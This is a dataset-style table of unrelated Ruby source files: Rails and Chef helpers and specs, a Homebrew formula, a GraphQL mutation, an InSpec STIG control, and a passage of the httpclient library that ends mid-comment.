hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
08b2cc97aa5057fa3be972b671874004430f14a7 | 426 | # frozen_string_literal: true
module RailsMiniProfiler
module ProfiledRequestsHelper
include ApplicationHelper
def formatted_duration(duration)
duration = (duration.to_f / 100)
duration < 1 ? duration : duration.round
end
def formatted_allocations(allocations)
number_to_human(allocations, units: { unit: '', thousand: 'k', million: 'M', billion: 'B', trillion: 'T' })
end
end
end
| 25.058824 | 113 | 0.699531 |
0132d17f75e9de8043a9fc2608de8669da42e595 | 1,541 | module Baseball
class CalcMostImproved
def self.do_it(to_year)
from_year_data, to_year_data = retrieve_data(to_year)
ensure_common_players(from_year_data, to_year_data)
to_avgs = get_averages(to_year_data).sort_by { |a| a[0][0] }
from_avgs = get_averages(from_year_data).sort_by { |a| a[0][0] }
top = calc_improvements(from_avgs, to_avgs).max { |b| b[1] }
top_name = Player.where(player_code: top[0])
.pluck(:first_name, :last_name).first
"#{top_name[0]} #{top_name[1]}"
end
def self.retrieve_data(to_year)
from_year_data = BattingData
.where(year: (to_year - 1)).where('at_bats > ?', 200)
.pluck(:player_code, :hits, :at_bats)
to_year_data = BattingData
.where(year: to_year).where('at_bats > ?', 200)
.pluck(:player_code, :hits, :at_bats)
return from_year_data, to_year_data
end
def self.ensure_common_players(from_year, to_year)
b_2010_ids = to_year.collect { |item| item[0] }
from_year.reject! { |item| !b_2010_ids.include?(item[0]) }
end
def self.calc_improvements(from, to)
result = []
i = 0
for b_to in to
hold = []
hold << b_to[0] << calc_diff(from[i], b_to)
result[i] = hold
i += 1
end
result
end
def self.calc_diff(from, to)
to[3] - from[3]
end
def self.calc_avg(ary)
ary[1].to_f / ary[2]
end
def self.get_averages(b)
b.each { |r| r << calc_avg(r) }
end
end
end | 25.683333 | 70 | 0.60026 |
6176b8e58834c964bfa52968199797a3a40e1a7a | 1,164 | #
# Copyright:: Copyright (c) 2017 GitLab Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require 'chef_helper'
describe 'gitlab-ee::geo-logcursor' do
let(:chef_run) { ChefSpec::SoloRunner.new(step_into: %w(runit_service)).converge('gitlab-ee::default') }
before do
allow(Gitlab).to receive(:[]).and_call_original
end
describe 'when disabled' do
it_behaves_like 'disabled runit service', 'geo-logcursor'
end
describe 'when enabled' do
before do
stub_gitlab_rb(
geo_logcursor: {
enable: true,
}
)
end
it_behaves_like 'enabled runit service', 'geo-logcursor', 'root', 'root'
end
end
| 27.714286 | 106 | 0.707045 |
3966a4d2b5044a561e09af1d832689aa1e2599cf | 2,066 | class TranslateToolkit < Formula
include Language::Python::Virtualenv
desc "Toolkit for localization engineers"
homepage "https://toolkit.translatehouse.org/"
url "https://files.pythonhosted.org/packages/ab/47/d7e0a2fddd457cef11b0f144c4854751e820b2fdaff7671f4b3ef05f5f0e/translate-toolkit-3.3.1.tar.gz"
sha256 "e0feec51e2031c80d92416e657b709deac63cc5b026979a153b9f8cd4629983c"
license "GPL-2.0-or-later"
head "https://github.com/translate/translate.git"
bottle do
sha256 cellar: :any_skip_relocation, big_sur: "076a916a9198ca1e6d8918548326a595dfbb73f56ecb815952addc07addd3890"
sha256 cellar: :any_skip_relocation, arm64_big_sur: "f2871f790bb13c0edef8aedecc5d1d938005ed055a202b3e264a6b045303d609"
sha256 cellar: :any_skip_relocation, catalina: "648c4b60b04630cb2dcd6434ba0d3385c61179bf08770064165d3f7d7508f149"
sha256 cellar: :any_skip_relocation, mojave: "40714dc2fbe0a73b3509b1f0e9be48638b0a1b685f4019522d01f75fb6c1221d"
sha256 cellar: :any_skip_relocation, x86_64_linux: "d48d53e0569f24994eeb11b3d27c68eaa6c2c32c4c49d6bd923908e970b2bbad"
end
depends_on "[email protected]"
uses_from_macos "libxml2"
uses_from_macos "libxslt"
resource "lxml" do
url "https://files.pythonhosted.org/packages/db/f7/43fecb94d66959c1e23aa53d6161231dca0e93ec500224cf31b3c4073e37/lxml-4.6.2.tar.gz"
sha256 "cd11c7e8d21af997ee8079037fff88f16fda188a9776eb4b81c7e4c9c0a7d7fc"
end
resource "python-Levenshtein" do
url "https://files.pythonhosted.org/packages/6b/ca/1a9d7115f233d929d4f25a4021795cd97cc89eeb82723ea98dd44390a530/python-Levenshtein-0.12.1.tar.gz"
sha256 "554e273a88060d177e7b3c1e6ea9158dde11563bfae8f7f661f73f47e5ff0911"
end
resource "six" do
url "https://files.pythonhosted.org/packages/6b/34/415834bfdafca3c5f451532e8a8d9ba89a21c9743a0c59fbd0205c7f9426/six-1.15.0.tar.gz"
sha256 "30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259"
end
def install
virtualenv_install_with_resources
end
test do
system bin/"pretranslate", "-h"
system bin/"podebug", "-h"
end
end
| 43.041667 | 149 | 0.821394 |
acedcb5e3c06957c74e45aacd20879069a9d2460 | 2,732 | # -*- encoding : utf-8 -*-
require 'spec_helper'
#require 'marc'
describe Blacklight::Marc::Indexer::Formats do
let(:test_class) do
c = Class.new(Blacklight::Marc::Indexer)
c.send :include, Blacklight::Marc::Indexer::Formats
c
end
subject {test_class.new}
before do
subject.instance_eval do
to_field 'format', get_format
settings do
provide "writer_class_name", "Traject::JsonWriter"
end
end
end
describe '#get_format' do
let(:electronic) do
MARC::DataField.new('245',' ',' ',['h','electronic resource'])
end
it 'should respond' do
expect(subject).to respond_to(:get_format)
end
it 'should map for 245h fields' do
record = double('Record')
# just return bytes for control field, subfield array for data
expect(record).to receive(:fields).with(['245','880']).and_return([electronic])
val = []
subject.get_format.call(record,val,subject)
expect(val).to eql(['Electronic'])
end
it 'should map for 007 fields' do
record = double('Record')
allow(record).to receive(:fields).with(["245", "880"]).and_return([])
expect(record).to receive(:fields).with(["007", "880"]).and_return([MARC::ControlField.new('007','CA')])
val = []
subject.get_format.call(record,val,subject)
expect(val).to eql(['TapeCartridge'])
end
it 'should map for 007 field with AD value' do
record = double('Record')
allow(record).to receive(:fields).with(["245", "880"]).and_return([])
expect(record).to receive(:fields).with(["007", "880"]).and_return([MARC::ControlField.new('007','AD')])
val = []
subject.get_format.call(record,val,subject)
expect(val).to eql(['Atlas'])
end
it 'should map for leader' do
record = double('Record')
allow(record).to receive(:fields).with(["245", "880"]).and_return([])
allow(record).to receive(:fields).with(["007", "880"]).and_return([])
allow(record).to receive(:[]).with('001').and_return(MARC::ControlField.new('001',''))
expect(record).to receive(:leader).and_return('012345am')
val = []
subject.get_format.call(record,val,subject)
expect(val).to eql(['Book'])
end
it 'should default' do
record = double('Record')
allow(record).to receive(:fields).with(["245", "880"]).and_return([])
allow(record).to receive(:fields).with(["007", "880"]).and_return([])
allow(record).to receive(:[]).with('001').and_return(MARC::ControlField.new('001',''))
allow(record).to receive(:leader).and_return('012345##')
val = []
subject.get_format.call(record,val,subject)
expect(val).to eql(['Unknown'])
end
end
end
| 36.918919 | 110 | 0.625183 |
bf10f74d800b1aa988ef7365ed2ffd3717298c8d | 756 | # frozen_string_literal: true
Gem::Specification.new do |spec|
spec.name = "minima"
spec.version = "2.5.1"
spec.authors = ["Joel Glovier"]
spec.email = ["[email protected]"]
spec.summary = "A beautiful, minimal theme for Jekyll."
spec.homepage = "https://github.com/jekyll/minima"
spec.license = "MIT"
spec.metadata["plugin_type"] = "theme"
# spec.files = `git ls-files -z`.split("\x0").select do |f|
# f.match(%r!^(assets|_(includes|layouts|sass)/|(LICENSE|README)((\.(txt|md|markdown)|$)))!i)
# end
spec.add_runtime_dependency "jekyll", ">= 3.5", "< 5.0"
spec.add_runtime_dependency "jekyll-feed", "~> 0.9"
spec.add_runtime_dependency "jekyll-seo-tag", "~> 2.1"
spec.add_development_dependency "bundler"
end | 32.869565 | 95 | 0.662698 |
1dfd1568bc7d4c85b3ad4b5202b84fd8f950feaf | 347 | FactoryBot.define do
factory :network do
name { Faker::Name.name }
ip { Faker::Internet.ip_v4_cidr }
gateway { Faker::Internet.private_ip_v4_address }
dhcp_start { Faker::Internet.private_ip_v4_address }
dhcp_end { Faker::Internet.private_ip_v4_address }
vlan_id { Faker::Number.number(digits: 2) }
company
end
end
| 28.916667 | 56 | 0.711816 |
91885e5b2bb151c08defef3b09e2b1b8dc8eeadf | 463 | module Mutations
class SortCurriculumResources < GraphQL::Schema::Mutation
argument :resource_ids, [ID], required: true
argument :resource_type, String, required: true
description "Sort targets and target groups"
field :success, Boolean, null: false
def resolve(params)
mutator = SortCurriculumResourcesMutator.new(context, params)
if mutator.valid?
mutator.sort
{ success: true }
end
end
end
end
| 23.15 | 67 | 0.688985 |
1d22285602b07002d13996b95f4898991444984f | 1,583 | control 'V-14260' do
title 'Downloading print driver packages over HTTP must be prevented.'
desc "Some features may communicate with the vendor, sending system
information or downloading data or components for the feature. Turning off
this capability will prevent potentially sensitive information from being sent
outside the enterprise and uncontrolled updates to the system.
This setting prevents the computer from downloading print driver packages
over HTTP.
"
impact 0.5
tag "gtitle": 'HTTP Printer Drivers'
tag "gid": 'V-14260'
tag "rid": 'SV-52998r1_rule'
tag "stig_id": 'WN12-CC-000032'
tag "fix_id": 'F-45925r1_fix'
tag "cci": ['CCI-000381']
tag "cce": ['CCE-24854-2']
tag "nist": ['CM-7 a', 'Rev_4']
tag "documentable": false
tag "check": "If the following registry value does not exist or is not
configured as specified, this is a finding:
Registry Hive: HKEY_LOCAL_MACHINE
Registry Path: \\Software\\Policies\\Microsoft\\Windows NT\\Printers\\
Value Name: DisableWebPnPDownload
Type: REG_DWORD
Value: 1"
tag "fix": "Configure the policy value for Computer Configuration ->
Administrative Templates -> System -> Internet Communication Management ->
Internet Communication settings -> \"Turn off downloading of print drivers over
HTTP\" to \"Enabled\"."
describe registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers') do
it { should have_property 'DisableWebPnPDownload' }
its('DisableWebPnPDownload') { should cmp == 1 }
end
end
| 40.589744 | 102 | 0.71952 |
b92c04ca61f92a6abc92a1ad22f85d760f258804 | 38,578 | # HTTPClient - HTTP client library.
# Copyright (C) 2000-2009 NAKAMURA, Hiroshi <[email protected]>.
#
# This program is copyrighted free software by NAKAMURA, Hiroshi. You can
# redistribute it and/or modify it under the same terms of Ruby's license;
# either the dual license version in 2003, or any later version.
require 'stringio'
require 'digest/sha1'
# Extra library
require 'httpclient/version'
require 'httpclient/util'
require 'httpclient/ssl_config'
require 'httpclient/connection'
require 'httpclient/session'
require 'httpclient/http'
require 'httpclient/auth'
require 'httpclient/cookie'
# :main:HTTPClient
# The HTTPClient class provides several methods for accessing Web resources
# via HTTP.
#
# HTTPClient instance is designed to be MT-safe. You can call a HTTPClient
# instance from several threads without synchronization after setting up an
# instance.
#
# clnt = HTTPClient.new
# clnt.set_cookie_store('/home/nahi/cookie.dat')
# urls.each do |url|
# Thread.new(url) do |u|
# p clnt.head(u).status
# end
# end
#
# == How to use
#
# At first, how to create your client. See initialize for more detail.
#
# 1. Create simple client.
#
# clnt = HTTPClient.new
#
# 2. Accessing resources through HTTP proxy. You can use environment
# variable 'http_proxy' or 'HTTP_PROXY' instead.
#
# clnt = HTTPClient.new('http://myproxy:8080')
#
# === How to retrieve web resources
#
# See get and get_content.
#
# 1. Get content of specified URL. It returns HTTP::Message object and
# calling 'body' method of it returns a content String.
#
# puts clnt.get('http://dev.ctor.org/').body
#
# 2. For getting content directly, use get_content. It follows redirect
# response and returns a String of whole result.
#
# puts clnt.get_content('http://dev.ctor.org/')
#
# 3. You can pass :follow_redirect option to follow redirect response in get.
#
# puts clnt.get('http://dev.ctor.org/', :follow_redirect => true)
#
# 4. Get content as chunks of String. It yields chunks of String.
#
# clnt.get_content('http://dev.ctor.org/') do |chunk|
# puts chunk
# end
#
# === Invoking other HTTP methods
#
# See head, get, post, put, delete, options, propfind, proppatch and trace.
# It returns a HTTP::Message instance as a response.
#
# 1. Do HEAD request.
#
# res = clnt.head(uri)
# p res.header['Last-Modified'][0]
#
# 2. Do GET request with query.
#
# query = { 'keyword' => 'ruby', 'lang' => 'en' }
# res = clnt.get(uri, query)
# p res.status
# p res.contenttype
# p res.header['X-Custom']
# puts res.body
#
# You can also use keyword argument style.
#
# res = clnt.get(uri, :query => { :keyword => 'ruby', :lang => 'en' })
#
# === How to POST
#
# See post.
#
# 1. Do POST a form data.
#
# body = { 'keyword' => 'ruby', 'lang' => 'en' }
# res = clnt.post(uri, body)
#
# Keyword argument style.
#
# res = clnt.post(uri, :body => ...)
#
# 2. Do multipart file upload with POST. No need to set extra header by
# yourself from httpclient/2.1.4.
#
# File.open('/tmp/post_data') do |file|
# body = { 'upload' => file, 'user' => 'nahi' }
# res = clnt.post(uri, body)
# end
#
# 3. Do multipart with custom body.
#
# File.open('/tmp/post_data') do |file|
# body = [{ 'Content-Type' => 'application/atom+xml; charset=UTF-8',
# :content => '<entry>...</entry>' },
# { 'Content-Type' => 'video/mp4',
# 'Content-Transfer-Encoding' => 'binary',
# :content => file }]
# res = clnt.post(uri, body)
# end
#
# === Accessing via SSL
#
# Ruby needs to be compiled with OpenSSL.
#
# 1. Get content of specified URL via SSL.
# Just pass an URL which starts with 'https://'.
#
# https_url = 'https://www.rsa.com'
# clnt.get(https_url)
#
# 2. Getting peer certificate from response.
#
# res = clnt.get(https_url)
# p res.peer_cert #=> returns OpenSSL::X509::Certificate
#
# 3. Configuring OpenSSL options. See HTTPClient::SSLConfig for more details.
#
# user_cert_file = 'cert.pem'
# user_key_file = 'privkey.pem'
# clnt.ssl_config.set_client_cert_file(user_cert_file, user_key_file)
# clnt.get(https_url)
#
# === Handling Cookies
#
# 1. Using volatile Cookies. Nothing to do. HTTPClient handles Cookies.
#
# clnt = HTTPClient.new
# res = clnt.get(url1) # receives Cookies.
# res = clnt.get(url2) # sends Cookies if needed.
# p res.cookies
#
# 2. Saving non volatile Cookies to a specified file. Need to set a file at
# first and invoke save method at last.
#
# clnt = HTTPClient.new
# clnt.set_cookie_store('/home/nahi/cookie.dat')
# clnt.get(url)
# ...
# clnt.save_cookie_store
#
# 3. Disabling Cookies.
#
# clnt = HTTPClient.new
# clnt.cookie_manager = nil
#
# === Configuring authentication credentials
#
# 1. Authentication with Web server. Supports BasicAuth, DigestAuth, and
# Negotiate/NTLM (requires ruby/ntlm module).
#
# clnt = HTTPClient.new
# domain = 'http://dev.ctor.org/http-access2/'
# user = 'user'
# password = 'user'
# clnt.set_auth(domain, user, password)
# p clnt.get('http://dev.ctor.org/http-access2/login').status
#
# 2. Authentication with Proxy server. Supports BasicAuth and NTLM
# (requires win32/sspi)
#
# clnt = HTTPClient.new(proxy)
# user = 'proxy'
# password = 'proxy'
# clnt.set_proxy_auth(user, password)
# p clnt.get(url)
#
# === Invoking HTTP methods with custom header
#
# Pass a Hash or an Array for header argument.
#
# header = { 'Accept' => 'text/html' }
# clnt.get(uri, query, header)
#
# header = [['Accept', 'image/jpeg'], ['Accept', 'image/png']]
# clnt.get_content(uri, query, header)
#
# === Invoking HTTP methods asynchronously
#
# See head_async, get_async, post_async, put_async, delete_async,
# options_async, propfind_async, proppatch_async, and trace_async.
# It immediately returns a HTTPClient::Connection instance as a returning value.
#
# connection = clnt.post_async(url, body)
# print 'posting.'
# while true
# break if connection.finished?
# print '.'
# sleep 1
# end
# puts '.'
# res = connection.pop
# p res.status
# p res.body.read # res.body is an IO for the res of async method.
#
# === Shortcut methods
#
# You can invoke get_content, get, etc. without creating HTTPClient instance.
#
# ruby -rhttpclient -e 'puts HTTPClient.get_content(ARGV.shift)' http://dev.ctor.org/
# ruby -rhttpclient -e 'p HTTPClient.head(ARGV.shift).header["last-modified"]' http://dev.ctor.org/
#
class HTTPClient
RUBY_VERSION_STRING = "ruby #{RUBY_VERSION} (#{RUBY_RELEASE_DATE})"
LIB_NAME = "(#{VERSION}, #{RUBY_VERSION_STRING})"
include Util
# Raised for indicating running environment configuration error for example
# accessing via SSL under the ruby which is not compiled with OpenSSL.
class ConfigurationError < StandardError
end
# Raised for indicating HTTP response error.
class BadResponseError < RuntimeError
# HTTP::Message:: a response
attr_reader :res
def initialize(msg, res = nil) # :nodoc:
super(msg)
@res = res
end
end
# Raised for indicating a timeout error.
class TimeoutError < RuntimeError
end
# Raised for indicating a connection timeout error.
# You can configure connection timeout via HTTPClient#connect_timeout=.
class ConnectTimeoutError < TimeoutError
end
# Raised for indicating a request sending timeout error.
# You can configure request sending timeout via HTTPClient#send_timeout=.
class SendTimeoutError < TimeoutError
end
# Raised for indicating a response receiving timeout error.
# You can configure response receiving timeout via
# HTTPClient#receive_timeout=.
class ReceiveTimeoutError < TimeoutError
end
# Deprecated. just for backward compatibility
class Session
BadResponse = ::HTTPClient::BadResponseError
end
class << self
%w(get_content post_content head get post put delete options propfind proppatch trace).each do |name|
eval <<-EOD
def #{name}(*arg, &block)
clnt = new
begin
clnt.#{name}(*arg, &block)
ensure
clnt.reset_all
end
end
EOD
end
private
def attr_proxy(symbol, assignable = false)
name = symbol.to_s
define_method(name) {
@session_manager.__send__(name)
}
if assignable
aname = name + '='
define_method(aname) { |rhs|
reset_all
@session_manager.__send__(aname, rhs)
}
end
end
end
# HTTPClient::SSLConfig:: SSL configurator.
attr_reader :ssl_config
# WebAgent::CookieManager:: Cookies configurator.
attr_accessor :cookie_manager
# An array of response HTTP message body String which is used for loop-back
# test. See test/* to see how to use it. If you want to do loop-back test
# of HTTP header, use test_loopback_http_response instead.
attr_reader :test_loopback_response
# An array of request filter which can trap HTTP request/response.
# See HTTPClient::WWWAuth to see how to use it.
attr_reader :request_filter
# HTTPClient::ProxyAuth:: Proxy authentication handler.
attr_reader :proxy_auth
# HTTPClient::WWWAuth:: WWW authentication handler.
attr_reader :www_auth
# How many times get_content and post_content follows HTTP redirect.
# 10 by default.
attr_accessor :follow_redirect_count
# Set HTTP version as a String:: 'HTTP/1.0' or 'HTTP/1.1'
attr_proxy(:protocol_version, true)
# Connect timeout in sec.
attr_proxy(:connect_timeout, true)
# Request sending timeout in sec.
attr_proxy(:send_timeout, true)
# Response receiving timeout in sec.
attr_proxy(:receive_timeout, true)
# Reuse the same connection within this timeout in sec. from last used.
attr_proxy(:keep_alive_timeout, true)
# Size of reading block for non-chunked response.
attr_proxy(:read_block_size, true)
# Negotiation retry count for authentication. 5 by default.
attr_proxy(:protocol_retry_count, true)
# if your ruby is older than 2005-09-06, do not set socket_sync = false to
# avoid an SSL socket blocking bug in openssl/buffering.rb.
attr_proxy(:socket_sync, true)
# User-Agent header in HTTP request.
attr_proxy(:agent_name, true)
# From header in HTTP request.
attr_proxy(:from, true)
# An array of response HTTP String (not a HTTP message body) which is used
# for loopback test. See test/* to see how to use it.
attr_proxy(:test_loopback_http_response)
# Decompress a compressed (with gzip or deflate) content body transparently. false by default.
attr_proxy(:transparent_gzip_decompression, true)
# Local socket address. Set HTTPClient#socket_local.host and HTTPClient#socket_local.port to specify local binding hostname and port of TCP socket.
attr_proxy(:socket_local, true)
# Default header for PROPFIND request.
PROPFIND_DEFAULT_EXTHEADER = { 'Depth' => '0' }
# Default User-Agent header
DEFAULT_AGENT_NAME = 'HTTPClient/1.0'
# Creates a HTTPClient instance which manages sessions, cookies, etc.
#
# HTTPClient.new takes 3 optional arguments for proxy url string,
# User-Agent String and From header String. User-Agent and From are embedded
# in HTTP request Header if given. No User-Agent and From header added
# without setting it explicitly.
#
# proxy = 'http://myproxy:8080'
# agent_name = 'MyAgent/0.1'
# from = '[email protected]'
# HTTPClient.new(proxy, agent_name, from)
#
# You can use a keyword argument style Hash. Keys are :proxy, :agent_name
# and :from.
#
# HTTPClient.new(:agent_name => 'MyAgent/0.1')
def initialize(*args)
proxy, agent_name, from = keyword_argument(args, :proxy, :agent_name, :from)
@proxy = nil # assigned later.
@no_proxy = nil
@no_proxy_regexps = []
@www_auth = WWWAuth.new
@proxy_auth = ProxyAuth.new
@request_filter = [@proxy_auth, @www_auth]
@debug_dev = nil
@redirect_uri_callback = method(:default_redirect_uri_callback)
@test_loopback_response = []
@session_manager = SessionManager.new(self)
@session_manager.agent_name = agent_name || DEFAULT_AGENT_NAME
@session_manager.from = from
@session_manager.ssl_config = @ssl_config = SSLConfig.new(self)
@cookie_manager = WebAgent::CookieManager.new
@follow_redirect_count = 10
load_environment
self.proxy = proxy if proxy
keep_webmock_compat
end
# webmock 1.6.2 depends on HTTP::Message#body.content to work.
# let's keep it work iif webmock is loaded for a while.
def keep_webmock_compat
if respond_to?(:do_get_block_with_webmock)
::HTTP::Message.module_eval do
def body
def (o = self.content).content
self
end
o
end
end
end
end
# Returns debug device if exists. See debug_dev=.
def debug_dev
@debug_dev
end
# Sets debug device. Once debug device is set, all HTTP requests and
# responses are dumped to given device. dev must respond to << for dump.
#
# Calling this method resets all existing sessions.
def debug_dev=(dev)
@debug_dev = dev
reset_all
@session_manager.debug_dev = dev
end
# Returns URI object of HTTP proxy if exists.
def proxy
@proxy
end
# Sets HTTP proxy used for HTTP connection. Given proxy can be an URI,
# a String or nil. You can set user/password for proxy authentication like
# HTTPClient#proxy = 'http://user:passwd@myproxy:8080'
#
# You can use environment variable 'http_proxy' or 'HTTP_PROXY' for it.
# You need to use 'cgi_http_proxy' or 'CGI_HTTP_PROXY' instead if you run
# HTTPClient from CGI environment from security reason. (HTTPClient checks
# 'REQUEST_METHOD' environment variable whether it's CGI or not)
#
# Calling this method resets all existing sessions.
def proxy=(proxy)
if proxy.nil? || proxy.to_s.empty?
@proxy = nil
@proxy_auth.reset_challenge
else
@proxy = urify(proxy)
if @proxy.scheme == nil or @proxy.scheme.downcase != 'http' or
@proxy.host == nil or @proxy.port == nil
raise ArgumentError.new("unsupported proxy #{proxy}")
end
@proxy_auth.reset_challenge
if @proxy.user || @proxy.password
@proxy_auth.set_auth(@proxy.user, @proxy.password)
end
end
reset_all
@session_manager.proxy = @proxy
@proxy
end
# Returns NO_PROXY setting String if given.
def no_proxy
@no_proxy
end
# Sets NO_PROXY setting String. no_proxy must be a comma separated String.
# Each entry must be 'host' or 'host:port' such as;
# HTTPClient#no_proxy = 'example.com,example.co.jp:443'
#
# 'localhost' is treated as a no_proxy site regardless of explicitly listed.
# HTTPClient checks given URI objects before accessing it.
# 'host' is tail string match. No IP-addr conversion.
#
# You can use environment variable 'no_proxy' or 'NO_PROXY' for it.
#
# Calling this method resets all existing sessions.
def no_proxy=(no_proxy)
@no_proxy = no_proxy
@no_proxy_regexps.clear
if @no_proxy
@no_proxy.scan(/([^\s:,]+)(?::(\d+))?/) do |host, port|
if host[0] == ?.
regexp = /#{Regexp.quote(host)}\z/i
else
regexp = /(\A|\.)#{Regexp.quote(host)}\z/i
end
@no_proxy_regexps << [regexp, port]
end
end
reset_all
end
# Sets credential for Web server authentication.
# domain:: a String or an URI to specify where HTTPClient should use this
# credential. If you set uri to nil, HTTPClient uses this credential
# wherever a server requires it.
# user:: username String.
# passwd:: password String.
#
# You can set multiple credentials for each uri.
#
# clnt.set_auth('http://www.example.com/foo/', 'foo_user', 'passwd')
# clnt.set_auth('http://www.example.com/bar/', 'bar_user', 'passwd')
#
# Calling this method resets all existing sessions.
def set_auth(domain, user, passwd)
uri = urify(domain)
@www_auth.set_auth(uri, user, passwd)
reset_all
end
# Deprecated. Use set_auth instead.
def set_basic_auth(domain, user, passwd)
uri = urify(domain)
@www_auth.basic_auth.set(uri, user, passwd)
reset_all
end
# Sets credential for Proxy authentication.
# user:: username String.
# passwd:: password String.
#
# Calling this method resets all existing sessions.
def set_proxy_auth(user, passwd)
@proxy_auth.set_auth(user, passwd)
reset_all
end
# Sets the filename where non-volatile Cookies be saved by calling
# save_cookie_store.
# This method tries to load and managing Cookies from the specified file.
#
# Calling this method resets all existing sessions.
def set_cookie_store(filename)
@cookie_manager.cookies_file = filename
@cookie_manager.load_cookies if filename
reset_all
end
# Try to save Cookies to the file specified in set_cookie_store. Unexpected
# error will be raised if you don't call set_cookie_store first.
# (interface mismatch between WebAgent::CookieManager implementation)
def save_cookie_store
@cookie_manager.save_cookies
end
# Returns stored cookies.
def cookies
if @cookie_manager
@cookie_manager.cookies
end
end
# Sets callback proc when HTTP redirect status is returned for get_content
# and post_content. default_redirect_uri_callback is used by default.
#
# If you need strict implementation which does not allow relative URI
# redirection, set strict_redirect_uri_callback instead.
#
# clnt.redirect_uri_callback = clnt.method(:strict_redirect_uri_callback)
#
def redirect_uri_callback=(redirect_uri_callback)
@redirect_uri_callback = redirect_uri_callback
end
# Retrieves a web resource.
#
# uri:: a String or an URI object which represents an URL of web resource.
# query:: a Hash or an Array of query part of URL.
# e.g. { "a" => "b" } => 'http://host/part?a=b'.
# Give an array to pass multiple value like
# [["a", "b"], ["a", "c"]] => 'http://host/part?a=b&a=c'.
# header:: a Hash or an Array of extra headers. e.g.
# { 'Accept' => 'text/html' } or
# [['Accept', 'image/jpeg'], ['Accept', 'image/png']].
# &block:: Give a block to get chunked message-body of response like
# get_content(uri) { |chunked_body| ... }.
# Size of each chunk may not be the same.
#
# get_content follows HTTP redirect status (see HTTP::Status.redirect?)
# internally and try to retrieve content from redirected URL. See
# redirect_uri_callback= how HTTP redirection is handled.
#
# If you need to get full HTTP response including HTTP status and headers,
# use get method. get returns HTTP::Message as a response and you need to
# follow HTTP redirect by yourself if you need.
def get_content(uri, *args, &block)
query, header = keyword_argument(args, :query, :header)
success_content(follow_redirect(:get, uri, query, nil, header || {}, &block))
end
# Posts a content.
#
# uri:: a String or an URI object which represents an URL of web resource.
# body:: a Hash or an Array of body part. e.g.
# { "a" => "b" } => 'a=b'
# Give an array to pass multiple value like
# [["a", "b"], ["a", "c"]] => 'a=b&a=c'
# When you pass a File as a value, it will be posted as a
# multipart/form-data. e.g.
# { 'upload' => file }
# You can also send custom multipart by passing an array of hashes.
# Each part must have a :content attribute which can be a file, all
# other keys will become headers.
# [{ 'Content-Type' => 'text/plain', :content => "some text" },
# { 'Content-Type' => 'video/mp4', :content => File.new('video.mp4') }]
# => <Two parts with custom Content-Type header>
# header:: a Hash or an Array of extra headers. e.g.
# { 'Accept' => 'text/html' }
# or
# [['Accept', 'image/jpeg'], ['Accept', 'image/png']].
# &block:: Give a block to get chunked message-body of response like
# post_content(uri) { |chunked_body| ... }.
# Size of each chunk may not be the same.
#
# post_content follows HTTP redirect status (see HTTP::Status.redirect?)
# internally and try to post the content to redirected URL. See
# redirect_uri_callback= how HTTP redirection is handled.
# Bear in mind that you should not depend on post_content because it sends
# the same POST method to the new location which is prohibited in HTTP spec.
#
# If you need to get full HTTP response including HTTP status and headers,
# use post method.
def post_content(uri, *args, &block)
body, header = keyword_argument(args, :body, :header)
success_content(follow_redirect(:post, uri, nil, body, header || {}, &block))
end
# A method for redirect uri callback. How to use:
# clnt.redirect_uri_callback = clnt.method(:strict_redirect_uri_callback)
# This callback does not allow relative redirect such as
# Location: ../foo/
# in HTTP header. (raises BadResponseError instead)
def strict_redirect_uri_callback(uri, res)
newuri = urify(res.header['location'][0])
if https?(uri) && !https?(newuri)
raise BadResponseError.new("redirecting to non-https resource")
end
if !http?(newuri) && !https?(newuri)
raise BadResponseError.new("unexpected location: #{newuri}", res)
end
puts "redirect to: #{newuri}" if $DEBUG
newuri
end
# A default method for redirect uri callback. This method is used by
# HTTPClient instance by default.
# This callback allows relative redirect such as
# Location: ../foo/
# in HTTP header.
def default_redirect_uri_callback(uri, res)
newuri = urify(res.header['location'][0])
if !http?(newuri) && !https?(newuri)
newuri = uri + newuri
warn("could be a relative URI in location header which is not recommended")
warn("'The field value consists of a single absolute URI' in HTTP spec")
end
if https?(uri) && !https?(newuri)
raise BadResponseError.new("redirecting to non-https resource")
end
puts "redirect to: #{newuri}" if $DEBUG
newuri
end
# Sends HEAD request to the specified URL. See request for arguments.
def head(uri, *args)
request(:head, uri, argument_to_hash(args, :query, :header, :follow_redirect))
end
# Sends GET request to the specified URL. See request for arguments.
def get(uri, *args, &block)
request(:get, uri, argument_to_hash(args, :query, :header, :follow_redirect), &block)
end
# Sends POST request to the specified URL. See request for arguments.
# You should not depend on :follow_redirect => true for POST method. It
# sends the same POST method to the new location which is prohibited in HTTP spec.
def post(uri, *args, &block)
request(:post, uri, argument_to_hash(args, :body, :header, :follow_redirect), &block)
end
# Sends PUT request to the specified URL. See request for arguments.
def put(uri, *args, &block)
request(:put, uri, argument_to_hash(args, :body, :header), &block)
end
# Sends DELETE request to the specified URL. See request for arguments.
def delete(uri, *args, &block)
request(:delete, uri, argument_to_hash(args, :body, :header), &block)
end
# Sends OPTIONS request to the specified URL. See request for arguments.
def options(uri, *args, &block)
request(:options, uri, argument_to_hash(args, :header), &block)
end
# Sends PROPFIND request to the specified URL. See request for arguments.
def propfind(uri, *args, &block)
request(:propfind, uri, argument_to_hash(args, :header), &block)
end
# Sends PROPPATCH request to the specified URL. See request for arguments.
def proppatch(uri, *args, &block)
request(:proppatch, uri, argument_to_hash(args, :body, :header), &block)
end
# Sends TRACE request to the specified URL. See request for arguments.
def trace(uri, *args, &block)
request('TRACE', uri, argument_to_hash(args, :query, :header), &block)
end
# Sends a request to the specified URL.
#
# method:: HTTP method to be sent. method.to_s.upcase is used.
# uri:: a String or an URI object which represents an URL of web resource.
# query:: a Hash or an Array of query part of URL.
# e.g. { "a" => "b" } => 'http://host/part?a=b'
# Give an array to pass multiple value like
